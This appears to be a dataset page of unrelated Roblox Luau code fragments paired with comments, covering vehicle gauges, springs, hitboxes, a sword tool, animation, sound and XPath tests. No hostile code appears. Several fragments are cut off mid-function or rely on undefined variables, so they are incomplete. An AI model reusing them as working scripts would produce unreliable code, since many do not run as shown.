script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--[[
Called when the goal state changes value, or when the speed or damping has
changed.
]]
|
function class:update(): boolean
local goalValue = self._goalState:get(false)
-- figure out if this was a goal change or a speed/damping change
if goalValue == self._goalValue then
-- speed/damping change
local damping = unwrap(self._damping)
if typeof(damping) ~= "number" then
warn("mistypedSpringDamping", typeof(damping))
elseif damping < 0 then
warn("invalidSpringDamping", damping)
else
self._currentDamping = damping
end
local speed = unwrap(self._speed)
if typeof(speed) ~= "number" then
warn("mistypedSpringSpeed", nil, typeof(speed))
elseif speed < 0 then
warn("invalidSpringSpeed", nil, speed)
else
self._currentSpeed = speed
end
return false
else
-- goal change - reconfigure spring to target new goal
self._goalValue = goalValue
local oldType = self._currentType
local newType = typeof(goalValue)
self._currentType = newType
local springGoals = unpackType(goalValue, newType)
local numSprings = #springGoals
self._springGoals = springGoals
if newType ~= oldType then
-- if the type changed, snap to the new value and rebuild the
-- position and velocity tables
self._currentValue = self._goalValue
local springPositions = table.create(numSprings, 0)
local springVelocities = table.create(numSprings, 0)
for index, springGoal in ipairs(springGoals) do
springPositions[index] = springGoal
end
self._springPositions = springPositions
self._springVelocities = springVelocities
-- the spring may have been animating before, so stop that
SpringScheduler.remove(self)
return true
-- otherwise, the type hasn't changed, just the goal...
elseif numSprings == 0 then
-- if the type isn't animatable, snap to the new value
self._currentValue = self._goalValue
return true
else
-- if it's animatable, let it animate to the goal
SpringScheduler.add(self)
return false
end
end
end
local function Spring<T>(
goalState,
speed: number?,
damping: number?
)
-- apply defaults for speed and damping
if not speed then
speed = 10
end
if not damping then
damping = 1
end
local dependencySet = {[goalState] = true}
if xtypeof(speed) == "State" then
dependencySet[speed] = true
end
if xtypeof(damping) == "State" then
dependencySet[damping] = true
end
local self = setmetatable({
type = "State",
kind = "Spring",
dependencySet = dependencySet,
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_speed = speed,
_damping = damping,
_goalState = goalState,
_goalValue = nil,
_currentType = nil,
_currentValue = nil,
_currentSpeed = unwrap(speed),
_currentDamping = unwrap(damping),
_springPositions = nil,
_springGoals = nil,
_springVelocities = nil
}, CLASS_METATABLE)
-- add this object to the goal state's dependent set
goalState.dependentSet[self] = true
self:update()
return self
end
return Spring
|
--------
|
SYNC_RATE:Connect(function()
for Index, Object in ipairs(ActiveHitboxes) do
if Object.deleted then
Handler:remove(Object.object)
else
for _, Point in ipairs(Object.points) do
if not Object.active then
Point.LastPosition = nil
else
local rayStart, rayDir, RelativePointToWorld = Point.solver:solve(Point, Object.debugMode)
local raycastResult = workspace:Raycast(rayStart, rayDir, Object.raycastParams)
Point.solver:lastPosition(Point, RelativePointToWorld)
if raycastResult then
local hitPart = raycastResult.Instance
local findModel = not Object.partMode and hitPart:FindFirstAncestorOfClass("Model")
local humanoid = findModel and findModel:FindFirstChildOfClass("Humanoid")
local target = humanoid or (Object.partMode and hitPart)
if target and not Object.targetsHit[target] then
Object.targetsHit[target] = true
Object.OnHit:Fire(hitPart, humanoid, raycastResult, Point.group)
end
end
Object.OnUpdate:Fire(Point.LastPosition)
end
end
end
end
end)
return Handler
|
--[[
Add a dummy child node to the current node to hold the given error. This
allows an otherwise empty describe node to report an error in a more natural
way.
]]
|
function TestSession:addDummyError(phrase, message)
self:pushNode({type = TestEnum.NodeType.It, phrase = phrase})
self:setError(message)
self:popNode()
self.nodeStack[#self.nodeStack].status = TestEnum.TestStatus.Failure
end
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{31,32,34,35,39,41,30,56,58},t},
[49]={{31,29,28,44,45,49},t},
[16]={n,f},
[19]={{31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{31,32,34,35,39,41,59},t},
[63]={{31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{31,32,34},t},
[21]={{31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{31,29,28,44,45,49,48},t},
[27]={{31,29,28,27},t},
[14]={n,f},
[31]={{31},t},
[56]={{31,32,34,35,39,41,30,56},t},
[29]={{31,29},t},
[13]={n,f},
[47]={{31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{31,29,28,44,45},t},
[57]={{31,32,34,35,39,41,30,56,57},t},
[36]={{31,32,33,36},t},
[25]={{31,29,28,27,26,25},t},
[71]={{31,32,34,35,39,41,59,61,71},t},
[20]={{31,32,34,35,39,41,30,56,58,20},t},
[60]={{31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{31,32,33,36,37},t},
[2]={n,f},
[35]={{31,32,34,35},t},
[53]={{31,29,28,44,45,49,48,47,52,53},t},
[73]={{31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{31,32,34,35,39,41,59,61,71,72},t},
[33]={{31,32,33},t},
[69]={{31,32,34,35,39,41,60,69},t},
[65]={{31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{31,29,28,27,26},t},
[68]={{31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{31,29,28,44,45,49,48,47,50},t},
[66]={{31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{31,29,28,27,26,25,24},t},
[23]={{31,32,34,35,39,41,30,56,58,23},t},
[44]={{31,29,28,44},t},
[39]={{31,32,34,35,39},t},
[32]={{31,32},t},
[3]={n,f},
[30]={{31,32,34,35,39,41,30},t},
[51]={{31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{31,32,34,35,39,41,59,61},t},
[55]={{31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{31,29,28,44,45,49,48,47,46},t},
[42]={{31,32,34,35,38,42},t},
[40]={{31,32,34,35,40},t},
[52]={{31,29,28,44,45,49,48,47,52},t},
[54]={{31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{31,32,34,35,39,41},t},
[17]={n,f},
[38]={{31,32,34,35,38},t},
[28]={{31,29,28},t},
[5]={n,f},
[64]={{31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[
Disclaimer for Robert Penner's Easing Equations license:
TERMS OF USE - EASING EQUATIONS
Open source under the BSD License.
Copyright © 2001 Robert Penner
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
]]
| |
--Made by Luckymaxer
--Updated for R15 avatars by StarWars
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
DamageValues = {
BaseDamage = 10,
SlashDamage = 11,
LungeDamage = 22
}
for i, v in pairs(DamageValues) do
DamageValues[i] = (v * 0.7)
end
Damage = DamageValues.BaseDamage
Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath"),
}
Animations = {
Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
Lunge = {Animation = Tool:WaitForChild("Lunge"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil},
Slash = {Animation = Tool:WaitForChild("Slash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil},
R15Hold = {Animation = Tool:WaitForChild("R15Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
R15Lunge = {Animation = Tool:WaitForChild("R15Lunge"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil},
R15Slash = {Animation = Tool:WaitForChild("R15Slash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil},
}
Functions = require(script:WaitForChild("Functions"))
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
LastAttack = 0
ToolEquipped = false
Handle.Transparency = 0
Tool.Enabled = true
function Blow(Hit)
if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then
return
end
local character = Hit.Parent
local humanoid = character:FindFirstChild("Humanoid")
if character == Character or not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and Functions.IsTeamMate(Player, player) then
return
end
local RightArm = Character:FindFirstChild("Right Arm")or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then
Functions.UntagHumanoid(humanoid)
Functions.TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
Spawn(function()
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
InvokeClient("PlayAnimation", Animations.R15Slash)
else
InvokeClient("PlayAnimation", Animations.Slash)
end
end)
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
Spawn(function()
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
InvokeClient("PlayAnimation", Animations.R15Lunge)
else
InvokeClient("PlayAnimation", Animations.Lunge)
end
end)
local Force = Instance.new("BodyVelocity")
if Torso and Torso.Parent then
Force.velocity = Vector3.new(0, 80, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.75)
Force.Parent = Torso
end
wait(0.25)
if Torso and Torso.Parent then
Force.velocity = ((Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0))
end
wait(0.5)
if Force and Force.Parent then
Force:Destroy()
end
wait(0.5)
Damage = DamageValues.SlashDamage
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Tool.Enabled = true
end
function CreateDualWield(Create)
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
if Create and CheckIfAlive() then
local LeftArm = Character:FindFirstChild("Left Arm") or Character:FindFirstChild("LeftHand")
if not LeftArm then
return
end
FakeHandle = Handle:Clone()
FakeHandle.CanCollide = false
FakeHandle.Name = "FakeHandle"
local LeftGrip = Instance.new("Weld")
LeftGrip.C0 = CFrame.new(0, (LeftArm.Name == "LeftHand" and -.15) or -1, 0, 1, 0, -0, 0, 0, 1, 0, -1, -0)
LeftGrip.C1 = Tool.Grip
LeftGrip.Part0 = LeftArm
LeftGrip.Part1 = FakeHandle
LeftGrip.Parent = FakeHandle
FakeHandle.Parent = Tool
FakeHandle.Touched:connect(Blow)
else
FakeHandle = Handle:Clone()
FakeHandle.Name = "FakeHandle"
local LeftGrip = Instance.new("Weld")
LeftGrip.C0 = (CFrame.new(0, 0, 0) * CFrame.Angles(0, -(math.pi / 4), 0))
LeftGrip.C1 = CFrame.new(0, 0, 0)
LeftGrip.Part0 = Handle
LeftGrip.Part1 = FakeHandle
LeftGrip.Parent = FakeHandle
FakeHandle.Parent = Tool
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then
return
end
Spawn(function()
CreateDualWield(true)
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
InvokeClient("PlayAnimation", Animations.R15Hold)
else
InvokeClient("PlayAnimation", Animations.Hold)
end
end)
Sounds.Unsheath:Play()
end
function Unequipped()
Spawn(function()
CreateDualWield(false)
end)
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
function OnServerInvoke(player, Mode, Value)
if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then
return
end
end
CreateDualWield(false)
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Handle.Touched:connect(Blow)
|
-- Preload animations
|
function playAnimation(animName, transitionTime, humanoid)
if (animName ~= currentAnim) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
|
-- emote bindable hook
|
if FFlagAnimateScriptEmoteHook then
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
end
-- Return false to indicate that the emote could not be played
return false
end
end
if (not FFlagUserFixLoadAnimationError) or Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
|
-- Roblox character sound script
|
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local FootstepsSoundGroup = game:GetService("SoundService"):WaitForChild("Footsteps")
local L_1_ = game.Players.LocalPlayer
local L_2_ = L_1_.Character
local SOUND_DATA = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "rbxasset://sounds/uuhhh.mp3",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = '' ,
Looped = true,
Playing = true,
Pitch = 1,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
-- wait for the first of the passed signals to fire
local function waitForFirst(...)
local shunt = Instance.new("BindableEvent")
local slots = {...}
local function fire(...)
for i = 1, #slots do
slots[i]:Disconnect()
end
return shunt:Fire(...)
end
for i = 1, #slots do
slots[i] = slots[i]:Connect(fire)
end
return shunt.Event:Wait()
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return (plrData.Character.NPCSpecifics.GaveGriefToArtie.Value == true)
end
|
-- return self:waitForInstances(function(instances) return #instances >0 end)[1]
|
local instances = self:waitForNInstances(1)
if instances ~= nil and #instances > 0 then return instances[1] end
return nil
end
function XPath:waitForInstances(condition)
if type(condition) ~= "function" then error("arg #1 should be a function") end
return self:waitFor(function()
return self:getInstances()
end, condition)
end
function XPath:waitForDisappear()
local _, state = self:waitForInstances(function(instances) return #instances == 0 end)
return state == true
end
function XPath:waitForNInstances(n)
return self:waitForInstances(function(instances)
return #instances >= n
end)
end
local function makeInstance(className, props, children)
local instance = Instance.new(className)
if children then
for _, child in ipairs(children) do
child.Parent = instance
end
end
if props then
for k, v in pairs(props) do
instance[k] = v
end
end
return instance
end
local function test()
local function closeTo(lhs, rhs, err)
return math.abs(lhs-rhs) <= err
end
local specialChars = [[special chars !"#$%&'()*+,-./:;<=>?@[]\^_`{|}~]]
local convertedSpecialChars = [[special chars !"#$%&'()*+\,-\./:;<\=>?@\[\]\\^_`{|}~]]
local root
if game.Workspace:FindFirstChild("root") == nil then
root = makeInstance("Folder",
{
Name = "root",
Parent = game.Workspace
}, {
makeInstance("Frame", {Name = "Frame"}, {
makeInstance("TextButton", {
Text = "Button1"
}),
makeInstance("TextLabel", {
Text = "Label1"
}),
makeInstance("ImageButton", {
})
}),
makeInstance("Frame", {Name = "Frame"}, {
makeInstance("TextButton", {
Text = "Button2"
}),
makeInstance("TextLabel", {
Text = "Label2"
})
}),
makeInstance("Frame", {Name = "Frame"}, {
makeInstance("TextLabel", {Text = "Label3"}),
makeInstance("Frame", {Name = specialChars}, {
makeInstance("TextButton", {Name = "TextButton3"})
}),
makeInstance("TextLabel", {Name = "SpecialCharLabel", Text = specialChars})
})
})
end
local containerPath = XPath.new("game.Workspace.root.Frame")
local getContainerDetail = function(root)
return {
textButton = XPath.new("TextButton", root),
textLabel = XPath.new("TextLabel", root),
}
end
local createSearch = function(container, relativePath, property, value)
local rootPath = container:copy()
local filter = {{key = "." .. relativePath:toString().."."..property, value = value}}
rootPath:mergeFilter(rootPath:size(), filter)
return rootPath
end
local rootPath = createSearch(containerPath, getContainerDetail().textButton, "Text", "Button2")
print("createSearch:", rootPath:toString())
local rootInstance = rootPath:waitForFirstInstance()
assert(rootInstance)
local containerDetail = getContainerDetail(rootInstance)
local label2 = containerDetail.textLabel:waitForFirstInstance()
assert(label2.Text == "Label2")
print("relative path test")
local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2]")
local instance = path:getFirstInstance()
assert(instance)
local relativePath = XPath.new("TextButton", instance)
local instance = relativePath:getFirstInstance()
assert(instance.Text == "Button2")
local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2, .ClassName = Frame].TextLabel")
local instance = path:getFirstInstance()
assert(instance.Text=="Label2")
local newPathString = XPath.new(instance):toString()
assert(newPathString=="game.Workspace.root.Frame.TextLabel")
local pathStr = "game.Workspace.root.Frame[."..convertedSpecialChars..".TextButton3.Name = TextButton3].TextLabel"
local path = XPath.new(pathStr)
assert(path:toString()==pathStr)
local instance = path:getFirstInstance()
assert(instance.Text=="Label3")
local pathStr = "game.Workspace.root.Frame[.SpecialCharLabel.Text = "..convertedSpecialChars.."].TextLabel"
local path = XPath.new(pathStr)
assert(path:toString()==pathStr)
local instance = path:getFirstInstance()
assert(instance.Text=="Label3")
local pathStr = "game.Workspace.root.Frame."..convertedSpecialChars..".TextButton3"
local path = XPath.new(pathStr)
local newPathStr = path:toString()
assert(newPathStr==pathStr)
local instance = path:getFirstInstance()
assert(instance.Name=="TextButton3")
local rootPath = XPath.new("game.Workspace.root")
local path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button2, .ClassName = Frame].TextLabel")
local relativePath = path:relative(rootPath)
relativePath:clearFilter()
print("testing getFirstInstance()")
print(path:toString())
local instance = path:getFirstInstance()
assert(instance.Text == "Label2")
print("testing wildcard *")
path = XPath.new("game.Workspace.root.*[.TextButton.Text = Button2].TextLabel")
instance = path:getFirstInstance()
assert(instance.Text == "Label2")
path = XPath.new("game.Workspace.root.*[.ImageButton.Name = *].TextLabel")
instance = path:getFirstInstance()
assert(instance.Text == "Label1")
local timeBefore = nil
print("testing timeout waitForNInstances() ")
path = XPath.new("game.Workspace.root.Frame.TextLabel")
timeBefore = tick()
local instances, state = path:setWait(2):waitForNInstances(5)
assert(closeTo(tick() - timeBefore, 2, 0.5))
assert(state == false)
print("testing normal waitForNInstances() ")
timeBefore = tick()
spawn(function()
wait(2)
makeInstance("Frame", {
Name = "Frame",
Parent = game.Workspace.root
}, {
makeInstance("TextButton", {
Text = "Button3"
}),
makeInstance("TextLabel", {
Text = "Label3"
})
})
end)
local instances = path:setWait(5):waitForNInstances(5)
assert(closeTo(tick() - timeBefore, 2, 0.5))
assert(#instances >= 5)
print("testing getFirstInstance() ")
path = XPath.new("game.Workspace.root.Frame[.TextButton.Text = Button3]")
instance = path:getFirstInstance()
assert(instance.TextButton.Text == "Button3")
print("testing timeout waitForDisappear() ")
timeBefore = tick()
local notExist = path:setWait(2):waitForDisappear()
assert(notExist == false)
assert(closeTo(tick() - timeBefore, 2, 0.5))
print("testing normal waitForDisappear() ")
timeBefore = tick()
spawn(function()
wait(2)
instance:Destroy()
end)
local notExist = path:setWait(5):waitForDisappear()
assert(closeTo(tick() - timeBefore, 2, 0.5))
assert(notExist == true)
print("test finised")
end
|
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
|
Tune.FCamber = -1
Tune.RCamber = -1
Tune.FToe = 0
Tune.RToe = 0
|
--local obj = --object or gui or wahtever goes here
--local Properties = {}
--Properties.Size = UDim2.new()
--Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
|
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local octave = math.ceil(note1/12)
local note2 = (note1 - 1)%12 + 1
local original = Piano.Case.Part
local key = Piano.Case.Part:Clone()
key.Parent = Piano.Keys
key.Name = note1
local part
local Time = 1
local Properties = {}
local part = key
key.Position = original.Position + Vector3.new((note1 + .1),-3,0)
key.Transparency = 0
if IsBlack(note1) then
local obj = key
obj.Color = Color3.fromRGB(236, 24, 116)
Properties = {}
Properties.Transparency = 1
Properties.Position = part.Position + Vector3.new(0,20,0)
Tween(obj,Properties,Time,true,Enum.EasingStyle.Linear)
else
local obj = key
obj.Color = Color3.fromRGB(197, 93, 223)
Properties = {}
Properties.Transparency = 1
Properties.Position = part.Position + Vector3.new(0,20,0)
Tween(obj,Properties,Time,true,Enum.EasingStyle.Linear)
end
key:Destroy()
return
end
|
--[[
Returns an iterator over the children of an element.
`elementOrElements` may be one of:
* a boolean
* nil
* a single element
* a fragment
* a table of elements
If `elementOrElements` is a boolean or nil, this will return an iterator with
zero elements.
If `elementOrElements` is a single element, this will return an iterator with
one element: a tuple where the first value is ElementUtils.UseParentKey, and
the second is the value of `elementOrElements`.
If `elementOrElements` is a fragment or a table, this will return an iterator
over all the elements of the array.
If `elementOrElements` is none of the above, this function will throw.
]]
|
function ElementUtils.iterateElements(elementOrElements)
local richType = Type.of(elementOrElements)
-- Single child
if richType == Type.Element then
local called = false
return function()
if called then
return nil
else
called = true
return ElementUtils.UseParentKey, elementOrElements
end
end
end
local regularType = typeof(elementOrElements)
if elementOrElements == nil or regularType == "boolean" then
return noop
end
if regularType == "table" then
return pairs(elementOrElements)
end
error("Invalid elements")
end
|
--// Math
|
local L_131_ = function(L_168_arg1, L_169_arg2, L_170_arg3)
if L_168_arg1 > L_170_arg3 then
return L_170_arg3
elseif L_168_arg1 < L_169_arg2 then
return L_169_arg2
end
return L_168_arg1
end
local L_132_ = L_120_.new(Vector3.new())
L_132_.s = 30
L_132_.d = 0.55
local L_133_ = CFrame.Angles(0, 0, 0)
|
-- Vector Util
-- Stephen Leitnick
-- April 22, 2020
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.